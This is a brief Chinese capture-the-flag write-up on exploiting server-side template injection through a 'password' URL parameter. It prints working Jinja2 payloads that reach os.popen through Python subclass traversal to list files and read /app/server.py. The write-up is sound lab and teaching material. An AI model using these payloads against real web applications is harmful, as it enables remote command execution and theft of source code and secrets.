解题思路:
1、题目提示为SSTI
2、进入网页发现password is wrong
3、猜测password为参数
4、测试是否存在模板注入url?password={{2*2}}
发现存在模板注入
payload:
查看当前目录下有那些文件
?password={{"".__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27]("ls%20-al").read()}}
读取flag
{{"".__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27]("cat%20/app/server.py").read()}}
注:基类的子列表[127]为os(这台靶场上的python环境是127,每个python版本不一样,好比python3.9貌似没os了)